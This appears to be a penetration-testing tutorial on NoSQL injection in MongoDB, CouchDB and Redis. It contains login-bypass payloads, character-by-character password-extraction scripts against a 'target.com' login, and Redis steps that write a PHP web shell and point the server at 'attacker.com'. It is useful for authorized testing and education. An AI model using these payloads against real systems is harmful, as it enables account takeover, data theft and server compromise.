Exploitation A03

NoSQL Injection

NoSQL injection vulnerabilities occur when user input is improperly handled in NoSQL database queries. Unlike SQL injection, NoSQL injection exploits the query syntax specific to each database type. This guide covers MongoDB, CouchDB, and other common NoSQL databases.

Why NoSQL Injection Matters

NoSQL injection can lead to authentication bypass, data extraction, and in some cases remote code execution. As MongoDB and other NoSQL databases become more popular, these vulnerabilities are increasingly common. Many developers incorrectly assume NoSQL databases are immune to injection attacks.

Warning

NoSQL injection can expose sensitive data and bypass authentication. Always ensure you have proper authorization before testing.

Tools & Resources

NoSQLMap

Automated NoSQL injection scanner

git clone NoSQLMap GitHub →

mongoaudit

MongoDB security auditing tool

pip install mongoaudit GitHub →

Burp Suite

Manual NoSQL injection testing

portswigger.net Website →

mongosh

MongoDB shell for testing

npm install -g mongosh Docs →

nosqli

NoSQL injection CLI tool

go install nosqli GitHub →

PayloadsAllTheThings

NoSQL injection payloads

Reference guide GitHub →

Understanding NoSQL Injection

NoSQL databases use various query formats including JSON, XML, and custom query languages. Injection occurs when user input is directly incorporated into queries without proper sanitization or parameterization.

Common NoSQL Databases

Database Query Format Attack Vector
MongoDB JSON/BSON Operator injection, JS execution
CouchDB JSON Selector injection
Redis Commands Command injection, SSRF
Cassandra CQL Similar to SQLi
Firebase JSON/REST Rules bypass, data exposure

MongoDB Injection

MongoDB is the most common target for NoSQL injection. Attacks typically exploit query operators like $gt, $ne, $where, and $regex.

Authentication Bypass

auth-bypass.js
javascript
# Normal login query (Node.js + MongoDB)
db.users.find({
  "username": req.body.username,
  "password": req.body.password
})

# Attacker input (JSON body)
{
  "username": {"$gt": ""},
  "password": {"$gt": ""}
}

# Query becomes:
db.users.find({
  "username": {"$gt": ""},
  "password": {"$gt": ""}
})
# Returns first user where username > "" (any non-empty string)

Common Bypass Payloads

bypass-payloads.txt
plaintext
# URL-encoded payloads (GET/POST parameters)
username[$ne]=invalid&password[$ne]=invalid
username[$gt]=&password[$gt]=
username[$exists]=true&password[$exists]=true
username=admin&password[$regex]=.*

# JSON body payloads
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": ""}}
{"username": {"$in": ["admin", "administrator"]}, "password": {"$gt": ""}}

# Specific user bypass
{"username": "admin", "password": {"$gt": ""}}

Operator Reference

Operator Meaning Attack Use
$ne Not equal Bypass with any non-matching value
$gt Greater than Match non-empty values
$lt Less than Range-based matching
$regex Regex match Pattern-based extraction
$where JavaScript execution Arbitrary JS code execution
$exists Field exists Schema discovery
$in In array Multiple value matching
$or Logical OR Condition bypass

Data Extraction with $regex

regex-extraction.py
python
# Extract password character by character
# Test if password starts with 'a'
{"username": "admin", "password": {"$regex": "^a"}}

# Test if password starts with 'ad'
{"username": "admin", "password": {"$regex": "^ad"}}

# Python script for extraction
import requests
import string

url = "http://target.com/login"
chars = string.ascii_letters + string.digits + string.punctuation
password = ""

while True:
    found = False
    for c in chars:
        payload = {
            "username": "admin",
            "password": {"$regex": f"^{password}{c}"}
        }
        r = requests.post(url, json=payload)
        if "Welcome" in r.text:  # Success indicator
            password += c
            print(f"Found: {password}")
            found = True
            break
    if not found:
        break

print(f"Password: {password}")

JavaScript Injection with $where

where-injection.json
json
# $where allows JavaScript execution (if not disabled)
# Always true condition
{"$where": "1==1"}
{"$where": "return true"}

# Time-based blind injection
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin' && sleep(5000)"}

# Data exfiltration via timing
{"$where": "if(this.password.charAt(0)=='a')sleep(5000)"}

# Full $where payload
{
  "$where": "function() { 
    if(this.username == 'admin') { 
      return this.password.match(/^a/) ? sleep(5000) : true; 
    } 
    return false; 
  }"
}

Information

Note: MongoDB 4.4+ disables JavaScript execution in $where by default. Older versions or misconfigured instances may still be vulnerable.

CouchDB Injection

couchdb-injection.json
json
# CouchDB uses JSON selectors for queries
# Normal query
{"selector": {"username": "admin", "password": "secret"}}

# Injection payloads
{"selector": {"username": "admin", "password": {"$gt": ""}}}
{"selector": {"username": {"$gt": ""}, "password": {"$gt": ""}}}
{"selector": {"$or": [{"username": "admin"}, {"username": "administrator"}]}}

# Data extraction
{"selector": {"username": "admin", "password": {"$regex": "^a"}}}

# All documents
{"selector": {"_id": {"$gt": null}}}

Redis Command Injection

redis-injection.txt
plaintext
# Redis uses a simple command protocol
# If user input is concatenated into commands:

# Normal: GET user:123
# Injection: GET user:123
KEYS *

# Common payloads

KEYS *


CONFIG GET *


INFO


# SSRF via Redis

SLAVEOF attacker.com 6379


# Write file (if allowed)

CONFIG SET dir /var/www/html


CONFIG SET dbfilename shell.php


SET payload "<?php system($_GET['cmd']); ?>"


SAVE


# Lua script injection

EVAL "return redis.call('KEYS','*')" 0

Detection & Testing

Identifying NoSQL Injection Points

detection.txt
plaintext
# Test parameters with array/object syntax
# Original: username=admin
# Test: username[$ne]=invalid

# Content-Type variations to test:
application/json
application/x-www-form-urlencoded
multipart/form-data

# Quick detection payloads
# URL parameters
?username[$ne]=x&password[$ne]=x
?username[$gt]=&password[$gt]=
?username=admin'&password=test  (may cause errors)

# JSON body
{"username": {"$gt": ""}}
{"$where": "1==1"}

Using NoSQLMap

nosqlmap-usage.sh
bash
# Install
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
pip install -r requirements.txt

# Run
python nosqlmap.py

# Options:
1. Set target URL
2. Set HTTP method (GET/POST)
3. Set parameters
4. Run injection tests

# Manual scan
python nosqlmap.py -u "http://target.com/login" \
  --data "username=admin&password=test" \
  --dbms mongodb

Burp Suite Testing

burp-testing.http
http
# Intercept login request
POST /api/login HTTP/1.1
Content-Type: application/json

{"username":"admin","password":"test"}

# Modify to injection payload
{"username":"admin","password":{"$ne":""}}

# Or use URL-encoded form
POST /api/login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[$ne]=

# Check response differences:
# - Successful login (bypass worked)
# - Different error message
# - Response time change

Blind NoSQL Injection

Boolean-Based Blind

boolean-blind.py
python
# Test true condition
{"username": "admin", "password": {"$regex": "^a"}}
# Response: Login successful (password starts with 'a')

# Test false condition  
{"username": "admin", "password": {"$regex": "^z"}}
# Response: Invalid credentials (password doesn't start with 'z')

# Automated extraction script
import requests
import string

def extract_field(url, field, known_prefix=""):
    charset = string.ascii_lowercase + string.digits
    extracted = known_prefix
    
    while True:
        found = False
        for char in charset:
            payload = {
                "username": "admin",
                "password": {
                    "$regex": f"^{extracted}{char}"
                }
            }
            r = requests.post(url, json=payload)
            if "success" in r.text.lower():
                extracted += char
                print(f"Found: {extracted}")
                found = True
                break
        if not found:
            break
    
    return extracted

Time-Based Blind

time-blind.py
python
# Using $where with sleep (if JS enabled)
import requests
import time

url = "http://target.com/api/login"
charset = string.ascii_lowercase + string.digits

password = ""
while True:
    for char in charset:
        payload = {
            "$where": f"if(this.password.charAt({len(password)})=='{char}')sleep(5000)"
        }
        start = time.time()
        r = requests.post(url, json=payload, timeout=10)
        elapsed = time.time() - start
        
        if elapsed > 4:  # Delay detected
            password += char
            print(f"Found: {password}")
            break

Testing Checklist

🔍 Detection

  • Test login forms with operator payloads
  • Check both JSON and URL-encoded inputs
  • Look for MongoDB/NoSQL error messages
  • Test search and filter functionality
  • Check API endpoints for JSON queries

🔓 Authentication Bypass

  • Try $ne, $gt operators on password
  • Test $regex with wildcard patterns
  • Attempt $or condition injection
  • Test $where JavaScript execution
  • Try targeting specific usernames

📤 Data Extraction

  • Use $regex for character-by-character extraction
  • Try time-based extraction if JS enabled
  • Enumerate collection fields with $exists
  • Extract usernames before passwords
  • Document all extracted data

💥 Advanced

  • Test for $where code execution
  • Check Redis CRLF injection
  • Test aggregation pipeline injection
  • Look for mapReduce injection
  • Check for exposed MongoDB ports

Practice Labs